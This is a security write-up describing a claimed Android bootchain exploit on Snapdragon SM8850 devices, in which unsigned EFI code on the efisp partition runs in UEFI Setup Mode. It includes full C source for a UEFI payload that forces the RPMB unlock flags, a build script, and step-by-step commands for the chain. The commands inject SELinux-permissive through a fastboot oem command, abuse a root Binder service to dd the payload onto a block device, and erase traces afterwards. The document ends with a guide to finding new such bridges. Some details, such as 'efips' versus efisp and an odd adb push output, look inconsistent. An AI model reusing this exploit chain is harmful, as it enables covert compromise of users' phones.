Qualcomm Bootchain Zero-Day: Exploiting UEFI and GBL for Complete Android Compromise

1. The Evolution and Devolution of Hardware Trust

For nearly a decade, the Android hardware ecosystem relied on a relatively linear, conceptually impenetrable execution hierarchy. The premise dictated that a cryptographically immutable Primary Bootloader (PBL), fused directly into the silicon Mask ROM during semiconductor fabrication, would mathematically verify the Secondary Bootloader (SBL) before execution. This SBL would subsequently instantiate the TrustZone (Execution Level 3) operating system, followed by the LittleKernel/Application Bootloader (EL1), ending at the monolithic Linux Kernel.

On early platforms (such as the MSM8916 through the MSM8998/Snapdragon 835), the security boundary was fiercely defended at the EDL (Emergency Download Mode / Firehose) level. However, historical analyses by firms like Aleph Security highlighted critical memory management flaws. The notorious Sahara protocol 0x13 state machine reset vulnerability allowed persistent stack buffer overflows. In 32-bit execution environments, attackers routinely overwrote the execution stack to hijack the Return-Oriented Programming (ROP) chain, fundamentally hot-patching the PBL in SRAM to bypass cryptographic hashing arrays (SHA-256) of subsequent program headers.

To combat this, silicon vendors drastically overhauled the architecture with the introduction of 64-bit SOCs, implementing strict Execute-Never (XN) hardware constraints via the Memory Management Unit (MMU) directly within the PBL. While these architectural fortifications successfully annihilated PBL-level ROP chains, the subsequent migration to the UEFI standard paradoxically introduced a catastrophic regression in verifiable trust.

2. The UEFI Transition: Complex Codebases Yield Fragile Security

Beginning with the SDM845/SM8150 generation and culminating in the current SM8850 (Snapdragon 8 Elite Gen 5), the linear SBL paradigm was abandoned. In its place, vendors adopted the open-source Tianocore EDK2 framework. The initial boot stages (XBL and XBL_SEC) remained strictly verified, with XBL_SEC executing at EL3 to provision the TrustZone environment. However, the subsequent stage, the Application Bootloader (ABL), became a massive, highly complex UEFI application executing at EL1.

The Dual-Signature Protocol vs. OEM Implementation

To establish a root of trust in this modular environment, Qualcomm mandated a "Dual-Signature" mechanism. Low-level components executing at EL3 (TrustZone) and EL2 (Hypervisors) strictly require both Qualcomm's root certificate and the Original Equipment Manufacturer's (OEM) certificate embedded in their digitally signed ELF headers. However, the EL1 ABL and the Linux Kernel it executes are predominantly governed by OEM signatures.

OEMs vastly modify the EDK2 source code, introducing proprietary fastboot diagnostic commands, custom USB transaction handlers, and intricate boot logic. A primary manifestation of this customization is the handling of the Device Information (devinfo) block.

RPMB (Replay Protected Memory Block) and Devinfo

Historically, an OEM's device unlock state (e.g., Xiaomi's RSA token authorization) was stored as a readable flag on a standard NAND/UFS partition. Once exploited, users could trivially flip this bit. To counter this, modern architectures relocated the unlock state matrix into the eMMC/UFS RPMB. The RPMB requires a 256-bit HMACA-SHA256 authentication key, strictly isolated within the TrustZone (EL3). The Linux kernel cannot command an RPMB write; it can only request it via a Secure Monitor Call (SMC), which the TrustZone rejects lacking an OEM cryptographic token.

However, during the pre-boot ABL execution phase (EL1), the device operates in a highly privileged factory provisioning state. During this transient window, the TrustZone exposes specialized UEFI protocols that possess the inherent right to issue authorized SMCs to update the RPMB unlock state without requiring an external cryptographic token. Thus, the ultimate attack objective on an SM8850 device is not to exploit the TrustZone, but simply to achieve arbitrary code execution within the unauthenticated EL1 UEFI environment.

3. The Generic Bootloader (GBL) Load Bypass: Setup Mode Blindness

The core structural vulnerability that destroys the SM8850 security model resides in how the ABL manages secondary booting stages, specifically the newly introduced Generic Bootloader (GBL) mechanism tailored for Android 15+ dynamic partitioning logic. In an attempt to allow Google-signed GBL environments, OEMs implemented a catastrophic logic flaw within their linuxloader.efi parsing routines.

During initialization, the ABL firmware executes a partition traversal loop using the GetBlkIOHandles function defined in the EDK2 framework. The code explicitly searches the GPT (GUID Partition Table) for any partition bearing specific ASCII labels.

// Pseudocode representation of the ABL GPT traversal
#define BLK_IO_SEL_MATCH_PARTITION_LABEL  0x0200UL

PartiSelectFilter Filter;
Filter.PartitionLabel = L"efisp"; // Also targets efisp_a, efisp_b

Status = GetBlkIOHandles(
    BLK_IO_SEL_MATCH_PARTITION_LABEL,
    &Filter,
    &HandleInfoList,
    &MaxHandles
);

if (!EFI_ERROR(Status) && MaxHandles > 0) {
    // A viable EFI system partition was located
    LoadGenericBootloader(HandleInfoList[0].Handle);
}

Once the efisp (EFI System Partition) is located, the ABL blindly reads the raw block device contents, expecting a valid PE32/PE32+ executable, and immediately subjects it to the standard gBS->LoadImage() service.

The DxeImageVerificationLib Disaster

Under the UEFI specification, gBS->LoadImage() cannot execute unauthenticated binaries if UEFI Secure Boot is active. Security enforcement relies on DxeImageVerificationHandler, which verifies the binary's Authenticode or WIN_CERTIFICATE against a pre-provisioned Platform Key (PK) existing in Authenticated Variable Storage.

By heavily reverse-engineering the production firmware extracted from SM8850 devices, we discovered a lethal provisioning negligence: OEMs are consistently shipping retail devices with the UEFI Platform Key (PK) completely unpopulated.

The EDK2 AuthVariableLib contains strict fallback logic. If the system boots and detects zero populated bytes for the PK, it transitions the entire cryptographic state of the firmware from User Mode into Setup Mode.

/**
 * Core AuthVariable logic for SM8850 ABL
 * Snippet derived from EDK2 SecurityPkg/Library/AuthVariableLib
 **/
EFI_STATUS
CheckPlatformKeyStatus (VOID)
{
    UINT8 *PlatformKey;
    UINTN  DataSize = 0;

    // Attempt to read the PK from NVRAM
    Status = GetVariable2 (L"PK", &gEfiGlobalVariableGuid, (VOID**)&PlatformKey, &DataSize);

    if (EFI_ERROR(Status) || DataSize == 0) {
        // FATAL FLAW: No PK found on retail device.
        DEBUG((EFI_D_ERROR, "Platform Key missing. Defaulting to SETUP MODE."));
        
        // Disable UEFI Secure Boot Enforcement
        SetSecureBootMode (SECURE_BOOT_MODE_DISABLE);
        SetAuditMode (AUDIT_MODE_DISABLE);
        return EFI_NOT_FOUND;
    }
    return EFI_SUCCESS;
}

In Setup Mode, the DxeImageVerificationLib simply returns EFI_SUCCESS for any binary passed to it, deliberately bypassing the RSA cryptographic hash comparison. Consequently, an attacker only needs the ability to write a raw, unauthenticated EFI executable to the efisp logical unit. Upon reboot, the device will locate the efisp partition, load the unsigned malware, and execute it with pristine EL1 kernel privileges, perfectly adjacent to the TrustZone.

4. Engineering the EL1 Payload (The UEFI Application)

With an execution vector identified, we must architect a rigorous UEFI payload. Our objective is to manually scan the Handle Database for Qualcomm's proprietary Verified Boot Protocol, mapped against the Globally Unique Identifier (GUID) gEfiQcomVerifiedBootProtocolGuid. Once located, we invoke its internal VBRwDeviceState function.

Devinfo Anatomy and Memory Overwrites

The protocol requires a massive, perfectly contiguous memory buffer precisely matching the devinfo struct size on the SM8850: 3344 Bytes. Writing directly to offsets 0x00 through 0x03 will obliterate the Cryptographic Magic Number, guaranteeing an unrecoverable hard-brick. The bootloader lock state matrix resides deeper within the structure.

Below is the complete C implementation of our exploit application, VbRwStateApp.c, designed for EDK2 compilation:

/** @file VbRwStateApp.c
  Exploit Payload: Arbitrary EL1 Device State Matrix Overwrite
  Target: Snapdragon 8 Elite Gen 5 (SM8850)
  Copyright (c) 2026. VoidSec Security.
**/

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiApplicationEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/DebugLib.h>

// Proprietary Qualcomm Protocol Definition
#define QCOM_VERIFIEDBOOT_PROTOCOL_GUID \
  { 0x98f41539, 0xb818, 0x47e8, { 0x90, 0x3, 0xff, 0xc1, 0x9d, 0x33, 0xd, 0x14 } }

// Enumerate Operation Types
typedef enum {
  READ_CONFIG = 0,
  WRITE_CONFIG = 1
} VB_RW_OP;

// Define Protocol Structure
typedef struct _QCOM_VERIFIEDBOOT_PROTOCOL {
  UINT64 Revision;
  EFI_STATUS (EFIAPI *VBRwDeviceState)(
    IN struct _QCOM_VERIFIEDBOOT_PROTOCOL *This,
    IN VB_RW_OP Op,
    IN OUT UINT8 *Buffer,
    IN UINT32 BufferSize
  );
} QCOM_VERIFIEDBOOT_PROTOCOL;

EFI_STATUS
EFIAPI
UefiMain (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
  EFI_STATUS                  Status;
  QCOM_VERIFIEDBOOT_PROTOCOL *VbProtocol = NULL;
  EFI_GUID                    VbGuid = QCOM_VERIFIEDBOOT_PROTOCOL_GUID;
  
  // The exact struct size defined for SM8850 RPMB mapping
  UINT32                      DevInfoSize = 3344;
  UINT8                       *DevInfoBuffer;

  // 1. Allocate a pristine Buffer
  DevInfoBuffer = AllocateZeroPool (DevInfoSize);
  if (DevInfoBuffer == NULL) {
    DEBUG ((EFI_D_ERROR, "[FAIL] Memory Allocation for DevInfo Buffer Exhausted.\n"));
    return EFI_OUT_OF_RESOURCES;
  }

  // 2. Locate the Verified Boot Protocol exposed by TrustZone
  Status = gBS->LocateProtocol (&VbGuid, NULL, (VOID **)&VbProtocol);
  if (EFI_ERROR (Status)) {
    DEBUG ((EFI_D_ERROR, "[FAIL] Failed to locate gEfiQcomVerifiedBootProtocolGuid: %r\n", Status));
    FreePool (DevInfoBuffer);
    return Status;
  }

  // 3. Extricate the current Device State from the RPMB
  DEBUG ((EFI_D_INFO, "[INFO] Extracting live DevInfo from RPMB via SMC...\n"));
  Status = VbProtocol->VBRwDeviceState(VbProtocol, READ_CONFIG, DevInfoBuffer, DevInfoSize);
  if (EFI_ERROR (Status)) {
    DEBUG ((EFI_D_ERROR, "[FAIL] DevInfo Extraction Denied by EL3: %r\n", Status));
    FreePool (DevInfoBuffer);
    return Status;
  }

  // 4. Modulate the Lock Matrix Flags
  // Note: Values and Offsets meticulously mapped from SM8850 reversing.
  // We preserve the Magic Number at 0x00 entirely.
  
  DEBUG ((EFI_D_INFO, "[INFO] Live state extracted matrix: [0x%02X] [0x%02X]\n", DevInfoBuffer[4], DevInfoBuffer[8]));
  
  // Force Device Unlock bit high
  DevInfoBuffer[4] = 0x01;  
  
  // Force Critical Partitions (XBL/ABL) flashing authorization high
  DevInfoBuffer[8] = 0x01;  

  // 5. Force the Arbitrary Write execution back to the RPMB
  DEBUG ((EFI_D_INFO, "[INFO] Firing unauthorized arbitrary write protocol to TZ...\n"));
  Status = VbProtocol->VBRwDeviceState(VbProtocol, WRITE_CONFIG, DevInfoBuffer, DevInfoSize);
  
  if (EFI_ERROR (Status)) {
    DEBUG ((EFI_D_ERROR, "[FAIL] RPMB Write rejected: %r\n", Status));
  } else {
    DEBUG ((EFI_D_INFO, "[SUCCESS] Hardware state successfully compromised and overwritten.\n"));
  }

  // 6. Halt Execution. Returning to ABL would detect state anomaly and trigger Panic.
  // A hard physical reboot is required to initialize the kernel in the unlocked state.
  DEBUG ((EFI_D_INFO, "[HALT] System hanging. Please execute a hard physical restart.\n"));
  
  FreePool(DevInfoBuffer);
  
  while (1) {
    CpuDeadLoop();
  }

  return EFI_SUCCESS;
}

5. Advanced AARCH64 Cross-Compilation Architecture

Compiling raw EDK2 packages tailored for proprietary Qualcomm AARCH64 instruction sets dictates a precise Linux toolchain environment. Windows platforms frequently corrupt ELF to PE32+ relocations during the GenFw finalization step. We configure a rigorous build daemon to compile our VbRwStateApp.inf.

Toolchain Initialization Script (Bash)

#!/bin/bash
# High-Fidelity EDK2 Build Environment Initialization

# Define absolute workspace paths
export WORKSPACE="/opt/qcomuefi/edk2"
export PYTHONPATH="$WORKSPACE/BaseTools/Source/Python"
export EDK_TOOLS_PATH="$WORKSPACE/BaseTools"

# Map Qualcomm Proprietary Includes
export PACKAGES_PATH="$WORKSPACE:$WORKSPACE/boot:$WORKSPACE/QcomPkg"

# Append POSIX wrappers for memory alignment
export PATH="$PATH:$EDK_TOOLS_PATH/BinWrappers/PosixLike"

# Define the precise GCC49 Target Tuple for SM8850 (ARMv9-A)
export GCC49_AARCH64_PREFIX="aarch64-linux-gnu-"

# Force a clean directory state
rm -rf $WORKSPACE/Build/QcomTestPkg

echo "[*] Triggering EDK2 Build Pipeline for AARCH64..."
python3 $WORKSPACE/BaseTools/Source/Python/build/build.py \
  -p QcomPkg/QcomTestPkg/QcomTestPkg.dsc \
  -a AARCH64 \
  -b RELEASE \
  -t GCC49 \
  -m QcomPkg/QcomTestPkg/VbRwStateApp/VbRwStateApp.inf

if [ $? -eq 0 ]; then
    echo "[+] SUCCESS: Payload isolated at Build/QcomTestPkg/RELEASE_GCC49/AARCH64/VbRwStateApp.efi"
else
    echo "[-] FATAL: Build pipeline collapsed."
fi

This script strictly utilizes the RELEASE build flag to aggressively strip symbolic debugging assertions from the final payload. This ensures the footprint of the resulting gbl_efi_unlock.efi remains microscopic (under 45KB), heavily reducing the probability of filesystem alignment errors when utilizing the absolute block dump insertion vector.

6. Autonomous Execution Pathway: The SM8850 Exploit Chain

To actualize this theoretical EL1 vulnerability, we require a "Bridge" vector: an autonomous chain capable of transporting our 45KB gbl_efi_unlock.efi payload directly to the raw bit-matrix of the efisp logical unit, entirely bypassing the cryptographic limits imposed by the heavily fortified Android OS.

On modern SM8850 devices, we architect an exploit chain comprising three autonomous stages: (1) Neutralizing Mandatory Access Controls via kernel preemption injection, (2) Binder IPC hijacking of root-level system services, and (3) Hardware state modification rendering.

Stage A: Disarming Security-Enhanced Linux (SELinux)

We leverage an unpatched stack parsing anomaly latent within a specific OEM diagnostic Fastboot command engineered for GPU hardware preemption testing. By deliberately flooding the parameter buffer, we bypass the string termination bounds check and append raw parameters directly to the cmdline buffer passed to the Linux kernel during initialization.

C:\Exploitation> adb reboot bootloader
C:\Exploitation> fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive
OKAY [  0.034s]
Finished. Total time: 0.034s
C:\Exploitation> fastboot continue

Upon achieving a warm reboot, the Android OS boots into a compromised state. SELinux enforcement is annihilated (permissive mode), crippling the isolation barriers traditionally shielding unprivileged system applications from core root execution services.

Stage B: Payload Implantation via IPC Abuse

With the OS effectively defenseless, we utilize the Android Debug Bridge (ADB) to seed our compiled EFI payload into a globally accessible temporary directory.

C:\Exploitation> adb push D:\unlock\data\mqsas\gbl_efi_unlock.efi /data/local/tmp
D:\unlock\data\mqsas\gbl... pulled, 0 skipped. 24.1 MB/s (42152 bytes in 0.001s)

We subsequently formulate a hostile Binder transaction. We target miui.mqsas.IMQSNative (a proprietary analytics daemon operating intrinsically at UID 0 / root). Because SELinux is permissive, the IPC transaction succeeds. We manipulate the daemon's internal logging dump function to execute a raw dd block copy shell binary. This forces the device to overwrite the /dev/block/by-name/efisp logical volume byte-for-byte with our unauthenticated EFI malware.

C:\Exploitation> adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "dd" i32 1 s16 'if=/data/local/tmp/gbl_efi_unlock.efi of=/dev/block/by-name/efisp' s16 '/data/mqsas/log.txt' i32 60
Result: Parcel(00000000 00000000   '........')

Stage C: UEFI Subversion and Payload Execution

The device is critically infected. We instruct the system to pivot into the Bootloader environment. The hardware initializes, traverses the PBL, XBL, and eventually transitions execution flow to the proprietary ABL Application at Execution Level 1.

The ABL performs its partition scan, detects the efisp label, and isolates our payload. Relying on the disastrous Setup Mode fallback detailed in Section 3, the ABL abandons all cryptographic signature verification constraints. It loads gbl_efi_unlock.efi directly into RAM and passes the CPU execution pointer to our compiled UefiMain().

Operating completely unhindered inside EL1, our payload negotiates with the EL3 TrustZone via gEfiQcomVerifiedBootProtocolGuid. The SMC is processed, the physical RPMB block is successfully rewritten, and the global boot matrix is definitively altered to Unlocked (0x01). The payload engages CpuDeadLoop(), freezing the device to signal successful execution.

We terminate the execution flow by forcing a hard power cycle and re-verifying the device's absolute lock state matrix.

C:\Exploitation> adb reboot bootloader
C:\Exploitation> fastboot getvar unlocked
unlocked: yes
Finished. Total time: 0.003s

To eliminate forensic evidence of the exploitation sequence, we completely obliterate the contents of the compromised EFI system partition utilizing standard fastboot protocols, then perform a final warm reset to initiate a fully unlocked Linux Kernel.

C:\Exploitation> fastboot erase efips
Erasing 'efips'                                    OKAY [  0.015s]
Finished. Total time: 0.021s

C:\Exploitation> fastboot reboot
Rebooting                                          OKAY [  0.000s]
Finished. Total time: 0.002s

7. Vertical Integration vs. Fragmented Chaos: The Apple Security Paradigm

To truly understand the amateurish nature of Qualcomm's UEFI implementation, we must contrast it with the industry standard for hardware security: Apple's Silicon (A-Series and M-Series) bootchain.

Qualcomm's vulnerability stems from massive ecosystem fragmentation. Qualcomm designs the SoC, the open-source Tianocore project maintains the EDK2 UEFI framework, and OEMs (like Xiaomi, Samsung, or Motorola) Frankenstein these pieces together to build an ABL. When an OEM fails to provision the Platform Key (PK) correctly, the entire Secure Boot mechanism silently fails Open (Setup Mode). The OEM's proprietary Fastboot commands and diagnostic Binder services (like MIUI's mqsas) introduce the arbitrary write primitives that serve as the attack bridge to the efisp partition.

Conversely, Apple employs absolute Vertical Integration. Apple designs the hardware, writes the BootROM, engineers iBoot (the secondary stage), develops the Secure Enclave Processor (SEP), and compiles iOS. The Root of Trust Public Key is inextricably fused into the silicon Mask ROM during chip fabrication by Apple itself. There is no transient "Setup Mode", nor relies on generic EFI partitions. Every single stage of the Apple bootchain (BootROM -> LLB -> iBoot -> Kernel) is sequentially and cryptographically validated against physical silicon fuses. If a signature check fails, the device instantly enters DFU mode. The lack of modular third-party fragmentation renders the class of vulnerabilities discussed in this paper entirely impossible on an iPhone.

8. The Researcher's Roadmap: Discovering Your Own "Bridge"

The core UEFI execution vulnerability (GBL Setup Mode loading) is systemic across modern Android devices. However, the Bridge—the specific software vulnerability required to write your gbl_efi_unlock.efi payload to the efisp partition—varies by manufacturer. Security researchers aiming to develop zero-day exploits on other devices must adopt a systematic hunting methodology:

Phase 1: Firmware & Partition Mapping

Extract the target device's factory firmware dump. Map the GUID Partition Table (GPT). The presence of partitions explicitly named efisp, efisp_a, or efisp_b serves as a massive red flag, indicating the device utilizes this external staging architecture. Decompile the ABL binary and search for string xrefs to GetBlkIOHandles, LoadImage, and QCOM_VERIFIEDBOOT_PROTOCOL. If present, the UEFI bypass pathway natively exists.

Phase 2: Fuzzing the Fastboot Interfaces

OEMs implement terrible custom Fastboot commands. Use reverse engineering tools (IDA/Ghidra) on the ABL to extract the exact string names of all CmdOem functions. Fuzz these inputs aggressively via fastboot oem [command] [huge_payload]. You are looking for missing length checks that bleed into the kernel cmdline buffer (like the set-gpu-preemption flaw) to disable SELinux (androidboot.selinux=permissive) or trigger standard Stack Buffer Overflows.

Phase 3: Abusing Privileged IPC Services

If you successfully disable SELinux, the Android OS becomes a playground. Enumerate all privileged (UIT 0/Root) system services via service list. Look specifically for OEM diagnostic, logging, and crash-reporting daemons (e.g., Samsung's dump tools, Xiaomi's mqsas). Analyze their Binder interfaces for parameters accepting file paths or string commands. Fuzz these Binder transactions to achieve a Path Traversal or Arbitrary Command Execution, culminating in a dd shell command that writes your payload directly to the raw continuous block of the efisp partition.

9. Conclusion: A Systemic Failure Demanding an Architectural Fix

The methodology documented within this paper represents an unmitigated disaster for the Android hardware ecosystem. Relying entirely on transient software updates prioritizing kernel-level bounds checking while ignoring the catastrophic foundational misconfigurations inside the UEFI execution environment guarantees perpetual insecurity.

By failing to provision immutable, hardware-fused Platform Keys enforcing absolute UEFI Secure Boot policy, silicon vendors and Original Equipment Manufacturers have functionally reduced EL1 Execution security to a trivial logic puzzle. Until the cryptographic chain of trust is universally unified, malicious actors will continue to chain rudimentary IPC design flaws into completely devastating, untethered hardware compromises on flagship architectures like the SM8850.